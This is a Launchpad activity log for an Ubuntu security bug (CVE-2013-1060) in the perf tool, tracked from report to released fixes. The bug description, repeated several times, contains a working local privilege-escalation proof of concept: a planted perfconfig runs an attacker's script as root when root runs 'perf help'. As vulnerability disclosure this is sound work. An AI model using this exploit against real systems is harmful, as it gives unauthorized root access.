Activity log for bug #1206200

Date Who What changed Old value New value Message
2013-07-29 17:15:38 Vasily Kulikov bug added bug
2013-07-29 17:19:40 Vasily Kulikov description Perf has 2 types of config files -- user and system-wide. The path to the system-wide config file is set up at the build time. Instead of using sane /etc/ path Ubuntu uses /home/buildd/etc/. It means a user with write access to this directory may create perfconfig file in the directory, fill it with any data, and wait another user to run perf. perf running as another user will read and parse this config file. The worst outcome is a privilege escalation with arbitrary command execution in case of 'perf help' run. There are 2 constraints of the attack. First, an attacker has to own /home/buildd/etc/ directory, which means only 'buildd' user may make an attack. Second, the possible attack is passive, so it can be carried out against users running perf only. The code for the privilege escalation is as following: $ which perf_3.2.0-49 | xargs strings | grep /home /home/buildd As root: # useradd -m buildd # su - buildd $ id uid=1001(buildd) gid=1001(buildd) groups=1001(buildd) $ mkdir etc $ echo >etc/perfconfig $ cat >etc/perfconfig <<EOF [man.shell] cmd = /home/buildd/shell [man] viewer = shell EOF $ cat >shell <<EOF #!/bin/bash echo 'All your base are belong to us' id man "\$@" EOF $ chmod a+x shell Now run these as another user: # id uid=0(root) gid=0(root) groups=0(root) # perf help anything All your base are belong to us No manual entry for perf-anything I also checked Fedora 19 and Debian 8, they are not vulnerable. ProblemType: Bug DistroRelease: Ubuntu 12.04 Package: linux-tools 3.2.0.49.59 ProcVersionSignature: Ubuntu 3.2.0-49.75-generic 3.2.46 Uname: Linux 3.2.0-49-generic x86_64 AlsaVersion: Advanced Linux Sound Architecture Driver Version 1.0.24. ApportVersion: 2.0.1-0ubuntu17.3 Architecture: amd64 ArecordDevices: **** List of CAPTURE Hardware Devices **** card 0: PCH [HDA Intel PCH], device 0: ALC275 Analog [ALC275 Analog] Subdevices: 1/1 Subdevice #0: subdevice #0 AudioDevicesInUse: USER PID ACCESS COMMAND /dev/snd/controlC0: vasya 3885 F.... pulseaudio Card0.Amixer.info: Card hw:0 'PCH'/'HDA Intel PCH at 0xc9400000 irq 50' Mixer name : 'Intel CougarPoint HDMI' Components : 'HDA:10ec0275,104d5000,00100005 HDA:80862805,104d5000,00100000' Controls : 26 Simple ctrls : 10 CheckboxSubmission: 8cd6ce4bf8fb309ce25728059c2cc919 CheckboxSystem: b633b4f40868d491c2ae5b50030ce6f3 Date: Mon Jul 29 21:10:20 2013 HibernationDevice: RESUME=UUID=000103f6-ab54-473d-8106-4af4b534c0ee InstallationMedia: Ubuntu 12.04 LTS "Precise Pangolin" - Release amd64 (20120425) MachineType: Sony Corporation VPCSA3S9R MarkForUpload: True ProcFB: 0 inteldrmfb ProcKernelCmdLine: BOOT_IMAGE=/vmlinuz-3.2.0-49-generic root=/dev/mapper/vg_cachalot-lv_root ro crashkernel=384M-2G:64M,2G-:128M quiet splash vt.handoff=7 RelatedPackageVersions: linux-restricted-modules-3.2.0-49-generic N/A linux-backports-modules-3.2.0-49-generic N/A linux-firmware 1.79.4 SourcePackage: linux StagingDrivers: rts_pstor UpgradeStatus: No upgrade log present (probably fresh install) dmi.bios.date: 10/13/2011 dmi.bios.vendor: INSYDE dmi.bios.version: R2084H4 dmi.board.asset.tag: N/A dmi.board.name: VAIO dmi.board.vendor: Sony Corporation dmi.board.version: N/A dmi.chassis.asset.tag: N/A dmi.chassis.type: 10 dmi.chassis.vendor: Sony Corporation dmi.chassis.version: N/A dmi.modalias: dmi:bvnINSYDE:bvrR2084H4:bd10/13/2011:svnSonyCorporation:pnVPCSA3S9R:pvrC609XEG6:rvnSonyCorporation:rnVAIO:rvrN/A:cvnSonyCorporation:ct10:cvrN/A: dmi.product.name: VPCSA3S9R dmi.product.version: C609XEG6 dmi.sys.vendor: Sony Corporation Perf has 2 types of config files -- user and system-wide. The path to the system-wide config file is set up at the build time. Instead of using sane /etc/ path Ubuntu uses /home/buildd/etc/. It means a user with write access to this directory may create perfconfig file in the directory, fill it with any data, and wait another user to run perf. perf running as another user will read and parse this config file. The worst outcome is a privilege escalation with arbitrary command execution in case of 'perf help' run. There are 2 constraints of the attack. First, an attacker has to own /home/buildd/etc/ directory, which means only 'buildd' user may make an attack. Second, the possible attack is passive, so it can be carried out against users running perf only. The code for the privilege escalation is as following: $ which perf_3.2.0-49 | xargs strings | grep /home /home/buildd As root: # useradd -m buildd # su - buildd $ id uid=1001(buildd) gid=1001(buildd) groups=1001(buildd) $ mkdir etc $ echo >etc/perfconfig $ cat >etc/perfconfig <<EOF [man.shell]  cmd = /home/buildd/shell [man]  viewer = shell EOF $ cat >shell <<EOF #!/bin/bash echo 'All your base are belong to us' id man "\$@" EOF $ chmod a+x shell Now run these as another user: # id uid=0(root) gid=0(root) groups=0(root) # perf help anything All your base are belong to us uid=0(root) gid=0(root) groups=0(root) No manual entry for perf-anything I also checked Fedora 19 and Debian 8, they are not vulnerable. ProblemType: Bug DistroRelease: Ubuntu 12.04 Package: linux-tools 3.2.0.49.59 ProcVersionSignature: Ubuntu 3.2.0-49.75-generic 3.2.46 Uname: Linux 3.2.0-49-generic x86_64 AlsaVersion: Advanced Linux Sound Architecture Driver Version 1.0.24. ApportVersion: 2.0.1-0ubuntu17.3 Architecture: amd64 ArecordDevices:  **** List of CAPTURE Hardware Devices ****  card 0: PCH [HDA Intel PCH], device 0: ALC275 Analog [ALC275 Analog]    Subdevices: 1/1    Subdevice #0: subdevice #0 AudioDevicesInUse:  USER PID ACCESS COMMAND  /dev/snd/controlC0: vasya 3885 F.... pulseaudio Card0.Amixer.info:  Card hw:0 'PCH'/'HDA Intel PCH at 0xc9400000 irq 50'    Mixer name : 'Intel CougarPoint HDMI'    Components : 'HDA:10ec0275,104d5000,00100005 HDA:80862805,104d5000,00100000'    Controls : 26    Simple ctrls : 10 CheckboxSubmission: 8cd6ce4bf8fb309ce25728059c2cc919 CheckboxSystem: b633b4f40868d491c2ae5b50030ce6f3 Date: Mon Jul 29 21:10:20 2013 HibernationDevice: RESUME=UUID=000103f6-ab54-473d-8106-4af4b534c0ee InstallationMedia: Ubuntu 12.04 LTS "Precise Pangolin" - Release amd64 (20120425) MachineType: Sony Corporation VPCSA3S9R MarkForUpload: True ProcFB: 0 inteldrmfb ProcKernelCmdLine: BOOT_IMAGE=/vmlinuz-3.2.0-49-generic root=/dev/mapper/vg_cachalot-lv_root ro crashkernel=384M-2G:64M,2G-:128M quiet splash vt.handoff=7 RelatedPackageVersions:  linux-restricted-modules-3.2.0-49-generic N/A  linux-backports-modules-3.2.0-49-generic N/A  linux-firmware 1.79.4 SourcePackage: linux StagingDrivers: rts_pstor UpgradeStatus: No upgrade log present (probably fresh install) dmi.bios.date: 10/13/2011 dmi.bios.vendor: INSYDE dmi.bios.version: R2084H4 dmi.board.asset.tag: N/A dmi.board.name: VAIO dmi.board.vendor: Sony Corporation dmi.board.version: N/A dmi.chassis.asset.tag: N/A dmi.chassis.type: 10 dmi.chassis.vendor: Sony Corporation dmi.chassis.version: N/A dmi.modalias: dmi:bvnINSYDE:bvrR2084H4:bd10/13/2011:svnSonyCorporation:pnVPCSA3S9R:pvrC609XEG6:rvnSonyCorporation:rnVAIO:rvrN/A:cvnSonyCorporation:ct10:cvrN/A: dmi.product.name: VPCSA3S9R dmi.product.version: C609XEG6 dmi.sys.vendor: Sony Corporation
2013-07-29 18:34:30 Marc Deslauriers cve linked 2013-1060
2013-07-30 18:23:41 Seth Arnold linux (Ubuntu): assignee Andy Whitcroft (apw)
2013-07-30 19:04:21 Seth Arnold bug added subscriber Andy Whitcroft
2013-07-31 12:49:15 Andy Whitcroft nominated for series Ubuntu Lucid
2013-07-31 12:49:15 Andy Whitcroft bug task added linux (Ubuntu Lucid)
2013-07-31 12:49:15 Andy Whitcroft nominated for series Ubuntu Precise
2013-07-31 12:49:15 Andy Whitcroft bug task added linux (Ubuntu Precise)
2013-07-31 12:49:15 Andy Whitcroft nominated for series Ubuntu Raring
2013-07-31 12:49:15 Andy Whitcroft bug task added linux (Ubuntu Raring)
2013-07-31 12:49:15 Andy Whitcroft nominated for series Ubuntu Saucy
2013-07-31 12:49:15 Andy Whitcroft bug task added linux (Ubuntu Saucy)
2013-07-31 12:49:15 Andy Whitcroft nominated for series Ubuntu Quantal
2013-07-31 12:49:15 Andy Whitcroft bug task added linux (Ubuntu Quantal)
2013-07-31 12:49:25 Andy Whitcroft linux (Ubuntu Saucy): status New In Progress
2013-07-31 13:49:44 Andy Whitcroft linux (Ubuntu Lucid): status New In Progress
2013-07-31 13:49:47 Andy Whitcroft linux (Ubuntu Precise): status New In Progress
2013-07-31 13:49:50 Andy Whitcroft linux (Ubuntu Quantal): status New In Progress
2013-07-31 13:49:52 Andy Whitcroft linux (Ubuntu Raring): status New In Progress
2013-07-31 13:49:56 Andy Whitcroft linux (Ubuntu Lucid): importance Undecided High
2013-07-31 13:49:58 Andy Whitcroft linux (Ubuntu Precise): importance Undecided High
2013-07-31 13:50:00 Andy Whitcroft linux (Ubuntu Quantal): importance Undecided High
2013-07-31 13:50:02 Andy Whitcroft linux (Ubuntu Raring): importance Undecided High
2013-07-31 13:50:04 Andy Whitcroft linux (Ubuntu Saucy): importance Undecided High
2013-07-31 13:50:06 Andy Whitcroft linux (Ubuntu Raring): assignee Andy Whitcroft (apw)
2013-07-31 13:50:08 Andy Whitcroft linux (Ubuntu Quantal): assignee Andy Whitcroft (apw)
2013-07-31 13:50:09 Andy Whitcroft linux (Ubuntu Precise): assignee Andy Whitcroft (apw)
2013-07-31 13:50:11 Andy Whitcroft linux (Ubuntu Lucid): assignee Andy Whitcroft (apw)
2013-08-01 07:18:35 John Johansen linux-armadaxp (Ubuntu Precise): importance Undecided Medium
2013-08-01 07:18:37 John Johansen linux-armadaxp (Ubuntu Lucid): status New Invalid
2013-08-01 07:18:38 John Johansen linux-armadaxp (Ubuntu Lucid): importance Undecided Medium
2013-08-01 07:18:40 John Johansen linux-armadaxp (Ubuntu Saucy): status New Invalid
2013-08-01 07:18:43 John Johansen linux-armadaxp (Ubuntu Saucy): importance Undecided Medium
2013-08-01 07:18:46 John Johansen linux-armadaxp (Ubuntu Quantal): importance Undecided Medium
2013-08-01 07:18:47 John Johansen linux-armadaxp (Ubuntu Raring): status New Invalid
2013-08-01 07:18:49 John Johansen linux-armadaxp (Ubuntu Raring): importance Undecided Medium
2013-08-01 07:18:51 John Johansen linux-ec2 (Ubuntu Precise): status New Invalid
2013-08-01 07:18:52 John Johansen linux-ec2 (Ubuntu Precise): importance Undecided Medium
2013-08-01 07:18:54 John Johansen linux-ec2 (Ubuntu Lucid): importance Undecided Medium
2013-08-01 07:18:56 John Johansen linux-ec2 (Ubuntu Saucy): status New Invalid
2013-08-01 07:18:58 John Johansen linux-ec2 (Ubuntu Saucy): importance Undecided Medium
2013-08-01 07:19:00 John Johansen linux-ec2 (Ubuntu Quantal): status New Invalid
2013-08-01 07:19:03 John Johansen linux-ec2 (Ubuntu Quantal): importance Undecided Medium
2013-08-01 07:20:28 John Johansen linux-ec2 (Ubuntu Raring): status New Invalid
2013-08-01 07:20:31 John Johansen linux-ec2 (Ubuntu Raring): importance Undecided Medium
2013-08-01 07:20:33 John Johansen linux-lts-quantal (Ubuntu Precise): importance Undecided Medium
2013-08-01 07:20:35 John Johansen linux-lts-quantal (Ubuntu Lucid): status New Invalid
2013-08-01 07:20:37 John Johansen linux-lts-quantal (Ubuntu Lucid): importance Undecided Medium
2013-08-01 07:20:39 John Johansen linux-lts-quantal (Ubuntu Saucy): status New Invalid
2013-08-01 07:20:41 John Johansen linux-lts-quantal (Ubuntu Saucy): importance Undecided Medium
2013-08-01 07:20:43 John Johansen linux-lts-quantal (Ubuntu Quantal): status New Invalid
2013-08-01 07:20:45 John Johansen linux-lts-quantal (Ubuntu Quantal): importance Undecided Medium
2013-08-01 07:20:47 John Johansen linux-lts-quantal (Ubuntu Raring): status New Invalid
2013-08-01 07:20:49 John Johansen linux-lts-quantal (Ubuntu Raring): importance Undecided Medium
2013-08-01 07:20:51 John Johansen linux-mvl-dove (Ubuntu Precise): status New Invalid
2013-08-01 07:20:53 John Johansen linux-mvl-dove (Ubuntu Precise): importance Undecided Medium
2013-08-01 07:20:55 John Johansen linux-mvl-dove (Ubuntu Lucid): status New Invalid
2013-08-01 07:20:58 John Johansen linux-mvl-dove (Ubuntu Lucid): importance Undecided Medium
2013-08-01 07:21:00 John Johansen linux-mvl-dove (Ubuntu Saucy): status New Invalid
2013-08-01 07:21:03 John Johansen linux-mvl-dove (Ubuntu Saucy): importance Undecided Medium
2013-08-01 07:21:05 John Johansen linux-mvl-dove (Ubuntu Quantal): status New Invalid
2013-08-01 07:21:07 John Johansen linux-mvl-dove (Ubuntu Quantal): importance Undecided Medium
2013-08-01 07:21:08 John Johansen linux-mvl-dove (Ubuntu Raring): status New Invalid
2013-08-01 07:21:10 John Johansen linux-mvl-dove (Ubuntu Raring): importance Undecided Medium
2013-08-01 07:21:12 John Johansen linux (Ubuntu Precise): importance High Medium
2013-08-01 07:21:14 John Johansen linux (Ubuntu Lucid): importance High Medium
2013-08-01 07:21:16 John Johansen linux (Ubuntu Saucy): importance High Medium
2013-08-01 07:21:18 John Johansen linux (Ubuntu Quantal): importance High Medium
2013-08-01 07:21:20 John Johansen linux (Ubuntu Raring): importance High Medium
2013-08-01 07:21:21 John Johansen linux-ti-omap4 (Ubuntu Precise): importance Undecided Medium
2013-08-01 07:21:25 John Johansen linux-ti-omap4 (Ubuntu Lucid): status New Invalid
2013-08-01 07:21:28 John Johansen linux-ti-omap4 (Ubuntu Lucid): importance Undecided Medium
2013-08-01 07:21:30 John Johansen linux-ti-omap4 (Ubuntu Saucy): importance Undecided Medium
2013-08-01 07:21:32 John Johansen linux-ti-omap4 (Ubuntu Quantal): importance Undecided Medium
2013-08-01 07:21:34 John Johansen linux-ti-omap4 (Ubuntu Raring): importance Undecided Medium
2013-08-01 07:21:36 John Johansen linux-fsl-imx51 (Ubuntu Precise): status New Invalid
2013-08-01 07:21:40 John Johansen linux-fsl-imx51 (Ubuntu Precise): importance Undecided Medium
2013-08-01 07:21:42 John Johansen linux-fsl-imx51 (Ubuntu Lucid): status New Invalid
2013-08-01 07:21:44 John Johansen linux-fsl-imx51 (Ubuntu Lucid): importance Undecided Medium
2013-08-01 07:21:46 John Johansen linux-fsl-imx51 (Ubuntu Saucy): status New Invalid
2013-08-01 07:21:48 John Johansen linux-fsl-imx51 (Ubuntu Saucy): importance Undecided Medium
2013-08-01 07:21:50 John Johansen linux-fsl-imx51 (Ubuntu Quantal): status New Invalid
2013-08-01 07:21:52 John Johansen linux-fsl-imx51 (Ubuntu Quantal): importance Undecided Medium
2013-08-01 07:21:53 John Johansen linux-fsl-imx51 (Ubuntu Raring): status New Invalid
2013-08-01 07:21:56 John Johansen linux-fsl-imx51 (Ubuntu Raring): importance Undecided Medium
2013-08-01 07:21:58 John Johansen linux-lts-raring (Ubuntu Precise): importance Undecided Medium
2013-08-01 07:21:59 John Johansen linux-lts-raring (Ubuntu Lucid): status New Invalid
2013-08-01 07:22:02 John Johansen linux-lts-raring (Ubuntu Lucid): importance Undecided Medium
2013-08-01 07:22:04 John Johansen linux-lts-raring (Ubuntu Saucy): status New Invalid
2013-08-01 07:22:06 John Johansen linux-lts-raring (Ubuntu Saucy): importance Undecided Medium
2013-08-01 07:22:09 John Johansen linux-lts-raring (Ubuntu Quantal): status New Invalid
2013-08-01 07:22:12 John Johansen linux-lts-raring (Ubuntu Quantal): importance Undecided Medium
2013-08-01 07:22:14 John Johansen linux-lts-raring (Ubuntu Raring): status New Invalid
2013-08-01 07:22:17 John Johansen linux-lts-raring (Ubuntu Raring): importance Undecided Medium
2013-08-01 07:22:19 John Johansen description Perf has 2 types of config files -- user and system-wide. The path to the system-wide config file is set up at the build time. Instead of using sane /etc/ path Ubuntu uses /home/buildd/etc/. It means a user with write access to this directory may create perfconfig file in the directory, fill it with any data, and wait another user to run perf. perf running as another user will read and parse this config file. The worst outcome is a privilege escalation with arbitrary command execution in case of 'perf help' run. There are 2 constraints of the attack. First, an attacker has to own /home/buildd/etc/ directory, which means only 'buildd' user may make an attack. Second, the possible attack is passive, so it can be carried out against users running perf only. The code for the privilege escalation is as following: $ which perf_3.2.0-49 | xargs strings | grep /home /home/buildd As root: # useradd -m buildd # su - buildd $ id uid=1001(buildd) gid=1001(buildd) groups=1001(buildd) $ mkdir etc $ echo >etc/perfconfig $ cat >etc/perfconfig <<EOF [man.shell]  cmd = /home/buildd/shell [man]  viewer = shell EOF $ cat >shell <<EOF #!/bin/bash echo 'All your base are belong to us' id man "\$@" EOF $ chmod a+x shell Now run these as another user: # id uid=0(root) gid=0(root) groups=0(root) # perf help anything All your base are belong to us uid=0(root) gid=0(root) groups=0(root) No manual entry for perf-anything I also checked Fedora 19 and Debian 8, they are not vulnerable. ProblemType: Bug DistroRelease: Ubuntu 12.04 Package: linux-tools 3.2.0.49.59 ProcVersionSignature: Ubuntu 3.2.0-49.75-generic 3.2.46 Uname: Linux 3.2.0-49-generic x86_64 AlsaVersion: Advanced Linux Sound Architecture Driver Version 1.0.24. ApportVersion: 2.0.1-0ubuntu17.3 Architecture: amd64 ArecordDevices:  **** List of CAPTURE Hardware Devices ****  card 0: PCH [HDA Intel PCH], device 0: ALC275 Analog [ALC275 Analog]    Subdevices: 1/1    Subdevice #0: subdevice #0 AudioDevicesInUse:  USER PID ACCESS COMMAND  /dev/snd/controlC0: vasya 3885 F.... pulseaudio Card0.Amixer.info:  Card hw:0 'PCH'/'HDA Intel PCH at 0xc9400000 irq 50'    Mixer name : 'Intel CougarPoint HDMI'    Components : 'HDA:10ec0275,104d5000,00100005 HDA:80862805,104d5000,00100000'    Controls : 26    Simple ctrls : 10 CheckboxSubmission: 8cd6ce4bf8fb309ce25728059c2cc919 CheckboxSystem: b633b4f40868d491c2ae5b50030ce6f3 Date: Mon Jul 29 21:10:20 2013 HibernationDevice: RESUME=UUID=000103f6-ab54-473d-8106-4af4b534c0ee InstallationMedia: Ubuntu 12.04 LTS "Precise Pangolin" - Release amd64 (20120425) MachineType: Sony Corporation VPCSA3S9R MarkForUpload: True ProcFB: 0 inteldrmfb ProcKernelCmdLine: BOOT_IMAGE=/vmlinuz-3.2.0-49-generic root=/dev/mapper/vg_cachalot-lv_root ro crashkernel=384M-2G:64M,2G-:128M quiet splash vt.handoff=7 RelatedPackageVersions:  linux-restricted-modules-3.2.0-49-generic N/A  linux-backports-modules-3.2.0-49-generic N/A  linux-firmware 1.79.4 SourcePackage: linux StagingDrivers: rts_pstor UpgradeStatus: No upgrade log present (probably fresh install) dmi.bios.date: 10/13/2011 dmi.bios.vendor: INSYDE dmi.bios.version: R2084H4 dmi.board.asset.tag: N/A dmi.board.name: VAIO dmi.board.vendor: Sony Corporation dmi.board.version: N/A dmi.chassis.asset.tag: N/A dmi.chassis.type: 10 dmi.chassis.vendor: Sony Corporation dmi.chassis.version: N/A dmi.modalias: dmi:bvnINSYDE:bvrR2084H4:bd10/13/2011:svnSonyCorporation:pnVPCSA3S9R:pvrC609XEG6:rvnSonyCorporation:rnVAIO:rvrN/A:cvnSonyCorporation:ct10:cvrN/A: dmi.product.name: VPCSA3S9R dmi.product.version: C609XEG6 dmi.sys.vendor: Sony Corporation A missing build configuration variable allowed a default HOME environment variable path to be built into the perf binary, which may allow a user named 'buildd' to specify commands to be run as root when users use the perf tool. Break-Fix: - local-2013-1060
2013-08-16 21:20:14 John Johansen linux-armadaxp (Ubuntu Precise): status New Fix Committed
2013-08-16 21:20:16 John Johansen linux-armadaxp (Ubuntu Quantal): status New Fix Committed
2013-08-16 21:20:18 John Johansen linux-ec2 (Ubuntu Lucid): status New Fix Committed
2013-08-16 21:20:19 John Johansen linux-lts-quantal (Ubuntu Precise): status New Fix Committed
2013-08-16 21:20:21 John Johansen linux (Ubuntu Precise): status In Progress Fix Committed
2013-08-16 21:20:23 John Johansen linux (Ubuntu Lucid): status In Progress Fix Committed
2013-08-16 21:20:24 John Johansen linux (Ubuntu Quantal): status In Progress Fix Committed
2013-08-16 21:20:26 John Johansen linux (Ubuntu Raring): status In Progress Fix Committed
2013-08-16 21:20:27 John Johansen linux-ti-omap4 (Ubuntu Precise): status New Fix Committed
2013-08-16 21:20:29 John Johansen linux-ti-omap4 (Ubuntu Saucy): status New Fix Committed
2013-08-16 21:20:30 John Johansen linux-ti-omap4 (Ubuntu Quantal): status New Fix Committed
2013-08-16 21:20:32 John Johansen linux-ti-omap4 (Ubuntu Raring): status New Fix Committed
2013-08-20 12:53:48 Marc Deslauriers linux-lts-raring (Ubuntu Precise): status New Fix Committed
2013-08-29 01:43:51 Launchpad Janitor branch linked lp:ubuntu/precise-proposed/linux-ti-omap4
2013-08-29 01:44:00 Launchpad Janitor branch linked lp:ubuntu/quantal-proposed/linux-ti-omap4
2013-09-05 09:07:17 Launchpad Janitor linux (Ubuntu Raring): status Fix Committed Fix Released
2013-09-06 05:34:44 Launchpad Janitor linux (Ubuntu Lucid): status Fix Committed Fix Released
2013-09-06 05:34:44 Launchpad Janitor cve linked 2013-1943
2013-09-06 05:34:44 Launchpad Janitor cve linked 2013-2206
2013-09-06 05:34:44 Launchpad Janitor cve linked 2013-4162
2013-09-06 05:35:08 Launchpad Janitor linux-ec2 (Ubuntu Lucid): status Fix Committed Fix Released
2013-09-06 05:43:28 Launchpad Janitor linux (Ubuntu Precise): status Fix Committed Fix Released
2013-09-06 05:43:28 Launchpad Janitor cve linked 2013-1059
2013-09-06 05:43:28 Launchpad Janitor cve linked 2013-2148
2013-09-06 05:43:28 Launchpad Janitor cve linked 2013-2851
2013-09-06 05:43:42 Launchpad Janitor linux-armadaxp (Ubuntu Precise): status Fix Committed Fix Released
2013-09-06 05:43:54 Launchpad Janitor linux-armadaxp (Ubuntu Precise): status Fix Committed Fix Released
2013-09-06 05:44:08 Launchpad Janitor linux-ti-omap4 (Ubuntu Precise): status Fix Committed Fix Released
2013-09-06 05:44:09 Launchpad Janitor linux-ti-omap4 (Ubuntu Precise): status Fix Committed Fix Released
2013-09-06 05:47:28 Launchpad Janitor linux (Ubuntu Quantal): status Fix Committed Fix Released
2013-09-06 05:47:28 Launchpad Janitor cve linked 2012-5375
2013-09-06 05:48:17 Launchpad Janitor linux-ti-omap4 (Ubuntu Quantal): status Fix Committed Fix Released
2013-09-06 05:51:57 Launchpad Janitor linux-lts-raring (Ubuntu Precise): status Fix Committed Fix Released
2013-09-06 05:51:58 Launchpad Janitor linux-lts-raring (Ubuntu Precise): status Fix Committed Fix Released
2013-09-06 05:53:15 Launchpad Janitor linux-armadaxp (Ubuntu Quantal): status Fix Committed Fix Released
2013-09-06 05:59:09 Launchpad Janitor linux-ti-omap4 (Ubuntu Raring): status Fix Committed Fix Released
2013-09-06 09:10:20 Launchpad Janitor linux-lts-quantal (Ubuntu Precise): status Fix Committed Fix Released
2013-09-08 02:44:46 Launchpad Janitor linux-ti-omap4 (Ubuntu Saucy): status Fix Committed Fix Released
2013-09-16 12:03:29 Andy Whitcroft linux (Ubuntu Saucy): status In Progress Fix Released
2014-08-29 12:17:25 Jamie Strandboge information type Private Security Public Security
2015-01-28 02:11:27 John Johansen nominated for series Ubuntu Trusty
2015-01-28 02:11:28 John Johansen bug task added linux (Ubuntu Trusty)
2015-01-28 02:11:28 John Johansen bug task added linux-fsl-imx51 (Ubuntu Trusty)
2015-01-28 02:11:28 John Johansen bug task added linux-mvl-dove (Ubuntu Trusty)
2015-01-28 02:11:28 John Johansen bug task added linux-ec2 (Ubuntu Trusty)
2015-01-28 02:11:28 John Johansen bug task added linux-ti-omap4 (Ubuntu Trusty)
2015-01-28 02:11:28 John Johansen bug task added linux-armadaxp (Ubuntu Trusty)
2015-01-28 02:11:28 John Johansen bug task added linux-lts-quantal (Ubuntu Trusty)
2015-01-28 02:11:28 John Johansen bug task added linux-lts-raring (Ubuntu Trusty)
2015-01-28 02:11:28 John Johansen bug task added linux-lts-trusty (Ubuntu Trusty)
2015-01-28 02:11:33 John Johansen nominated for series Ubuntu Utopic
2015-01-28 02:11:34 John Johansen bug task added linux (Ubuntu Utopic)
2015-01-28 02:11:34 John Johansen bug task added linux-fsl-imx51 (Ubuntu Utopic)
2015-01-28 02:11:34 John Johansen bug task added linux-mvl-dove (Ubuntu Utopic)
2015-01-28 02:11:34 John Johansen bug task added linux-ec2 (Ubuntu Utopic)
2015-01-28 02:11:34 John Johansen bug task added linux-ti-omap4 (Ubuntu Utopic)
2015-01-28 02:11:34 John Johansen bug task added linux-armadaxp (Ubuntu Utopic)
2015-01-28 02:11:34 John Johansen bug task added linux-lts-quantal (Ubuntu Utopic)
2015-01-28 02:11:34 John Johansen bug task added linux-lts-raring (Ubuntu Utopic)
2015-01-28 02:11:34 John Johansen bug task added linux-lts-trusty (Ubuntu Utopic)
2015-01-28 02:11:38 John Johansen nominated for series Ubuntu Vivid
2015-01-28 02:11:39 John Johansen bug task added linux (Ubuntu Vivid)
2015-01-28 02:11:39 John Johansen bug task added linux-fsl-imx51 (Ubuntu Vivid)
2015-01-28 02:11:39 John Johansen bug task added linux-mvl-dove (Ubuntu Vivid)
2015-01-28 02:11:39 John Johansen bug task added linux-ec2 (Ubuntu Vivid)
2015-01-28 02:11:39 John Johansen bug task added linux-ti-omap4 (Ubuntu Vivid)
2015-01-28 02:11:39 John Johansen bug task added linux-armadaxp (Ubuntu Vivid)
2015-01-28 02:11:39 John Johansen bug task added linux-lts-quantal (Ubuntu Vivid)
2015-01-28 02:11:39 John Johansen bug task added linux-lts-raring (Ubuntu Vivid)
2015-01-28 02:11:39 John Johansen bug task added linux-lts-trusty (Ubuntu Vivid)
2015-01-28 02:11:59 John Johansen bug task deleted linux-lts-trusty (Ubuntu Quantal)
2015-01-28 02:12:01 John Johansen bug task deleted linux-lts-trusty (Ubuntu Raring)
2015-01-28 02:12:03 John Johansen bug task deleted linux-lts-trusty (Ubuntu Saucy)
2015-01-28 02:12:04 John Johansen bug task deleted linux-armadaxp (Ubuntu Quantal)
2015-01-28 02:12:06 John Johansen bug task deleted linux-armadaxp (Ubuntu Raring)
2015-01-28 02:12:09 John Johansen bug task deleted linux-armadaxp (Ubuntu Saucy)
2015-01-28 02:12:11 John Johansen bug task deleted linux-ec2 (Ubuntu Quantal)
2015-01-28 02:12:16 John Johansen bug task deleted linux-ec2 (Ubuntu Raring)
2015-01-28 02:12:18 John Johansen bug task deleted linux-ec2 (Ubuntu Saucy)
2015-01-28 02:12:20 John Johansen bug task deleted linux-goldfish (Ubuntu Quantal)
2015-01-28 02:12:23 John Johansen bug task deleted linux-goldfish (Ubuntu Raring)
2015-01-28 02:12:25 John Johansen bug task deleted linux-goldfish (Ubuntu Saucy)
2015-01-28 02:12:28 John Johansen bug task deleted linux-lts-saucy (Ubuntu Quantal)
2015-01-28 02:12:31 John Johansen bug task deleted linux-lts-saucy (Ubuntu Raring)
2015-01-28 02:12:34 John Johansen bug task deleted linux-lts-saucy (Ubuntu Saucy)
2015-01-28 02:12:37 John Johansen bug task deleted linux-lts-quantal (Ubuntu Quantal)
2015-01-28 02:12:39 John Johansen bug task deleted linux-lts-quantal (Ubuntu Raring)
2015-01-28 02:12:41 John Johansen bug task deleted linux-lts-quantal (Ubuntu Saucy)
2015-01-28 02:12:43 John Johansen bug task deleted linux-mvl-dove (Ubuntu Quantal)
2015-01-28 02:12:47 John Johansen bug task deleted linux-mvl-dove (Ubuntu Raring)
2015-01-28 02:12:50 John Johansen bug task deleted linux-mvl-dove (Ubuntu Saucy)
2015-01-28 02:12:52 John Johansen bug task deleted linux-ti-omap4 (Ubuntu Quantal)
2015-01-28 02:12:54 John Johansen bug task deleted linux-ti-omap4 (Ubuntu Raring)
2015-01-28 02:12:57 John Johansen bug task deleted linux-ti-omap4 (Ubuntu Saucy)
2015-01-28 02:12:59 John Johansen bug task deleted linux (Ubuntu Quantal)
2015-01-28 02:13:01 John Johansen bug task deleted linux (Ubuntu Raring)
2015-01-28 02:13:03 John Johansen bug task deleted linux (Ubuntu Saucy)
2015-01-28 02:13:06 John Johansen bug task deleted linux-mako (Ubuntu Quantal)
2015-01-28 02:13:08 John Johansen bug task deleted linux-mako (Ubuntu Raring)
2015-01-28 02:13:10 John Johansen bug task deleted linux-mako (Ubuntu Saucy)
2015-01-28 02:13:12 John Johansen bug task deleted linux-fsl-imx51 (Ubuntu Quantal)
2015-01-28 02:13:14 John Johansen bug task deleted linux-fsl-imx51 (Ubuntu Raring)
2015-01-28 02:13:15 John Johansen bug task deleted linux-fsl-imx51 (Ubuntu Saucy)
2015-01-28 02:13:18 John Johansen bug task deleted linux-lts-utopic (Ubuntu Quantal)
2015-01-28 02:13:21 John Johansen bug task deleted linux-lts-utopic (Ubuntu Raring)
2015-01-28 02:13:23 John Johansen bug task deleted linux-lts-utopic (Ubuntu Saucy)
2015-01-28 02:13:24 John Johansen bug task deleted linux-flo (Ubuntu Quantal)
2015-01-28 02:13:28 John Johansen bug task deleted linux-flo (Ubuntu Raring)
2015-01-28 02:13:30 John Johansen bug task deleted linux-flo (Ubuntu Saucy)
2015-01-28 02:13:32 John Johansen bug task deleted linux-lts-raring (Ubuntu Quantal)
2015-01-28 02:13:33 John Johansen bug task deleted linux-lts-raring (Ubuntu Raring)
2015-01-28 02:13:35 John Johansen bug task deleted linux-lts-raring (Ubuntu Saucy)
2015-01-28 02:13:37 John Johansen bug task deleted linux-manta (Ubuntu Quantal)
2015-01-28 02:13:39 John Johansen bug task deleted linux-manta (Ubuntu Raring)
2015-01-28 02:13:41 John Johansen bug task deleted linux-manta (Ubuntu Saucy)
2015-01-28 02:13:44 John Johansen linux-lts-trusty (Ubuntu Precise): status New Invalid
2015-01-28 02:13:49 John Johansen linux-lts-trusty (Ubuntu Precise): importance Undecided Medium
